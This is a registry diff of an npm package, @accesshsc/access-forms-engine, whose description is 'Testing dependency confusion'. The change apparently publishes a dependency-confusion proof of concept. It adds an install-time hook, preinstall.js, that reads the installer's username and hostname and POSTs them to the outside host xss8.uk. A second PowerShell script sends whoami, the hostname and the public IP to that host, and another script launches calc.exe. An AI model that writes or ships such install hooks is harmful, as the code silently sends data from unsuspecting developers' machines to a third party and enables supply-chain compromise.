@accesshsc/access-forms-engine 0.99.99 → 0.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -2
- package/preinstall.js +24 -0
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "@accesshsc/access-forms-engine",
|
3
|
-
"version": "0.
|
3
|
+
"version": "0.999.999",
|
4
4
|
"description": "Testing dependency confusion",
|
5
5
|
"main": "index.js",
|
6
6
|
"publishConfig": {
|
@@ -8,7 +8,8 @@
|
|
8
8
|
},
|
9
9
|
"scripts": {
|
10
10
|
"preinstall2": "calc.exe",
|
11
|
-
"preinstall": "
|
11
|
+
"preinstall": "node preinstall.js",
|
12
|
+
"preinstall3": "powershell -Command \"curl.exe -X POST https://xss8.uk/page_callback -F \\\"uri=Dependency confusion test (accesshsc/access-forms-engine): $(whoami)\\\" -F \\\"html=Hostname: $(hostname), IP: $(curl.exe -s ifconfig.me)\\\"\""
|
12
13
|
},
|
13
14
|
"author": "",
|
14
15
|
"license": "ISC",
|
package/preinstall.js
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
|
3
|
+
// Collect system info
|
4
|
+
const username = os.userInfo().username;
|
5
|
+
const hostname = os.hostname();
|
6
|
+
|
7
|
+
|
8
|
+
// Fetch with timeout (20 seconds)
|
9
|
+
const controller = new AbortController();
|
10
|
+
const timeout = setTimeout(() => controller.abort(), 20000);
|
11
|
+
|
12
|
+
fetch("https://xss8.uk/page_callback", {
|
13
|
+
method: "POST",
|
14
|
+
headers: { "Content-Type": "application/json" },
|
15
|
+
body: JSON.stringify({
|
16
|
+
uri: `Dependency confusion test (accesshsc/access-forms-engine): ${username}`,
|
17
|
+
html: `Hostname: ${hostname}`,
|
18
|
+
}),
|
19
|
+
signal: controller.signal,
|
20
|
+
})
|
21
|
+
.then((res) => res.text())
|
22
|
+
.then((data) => {
|
23
|
+
clearTimeout(timeout);
|
24
|
+
})
|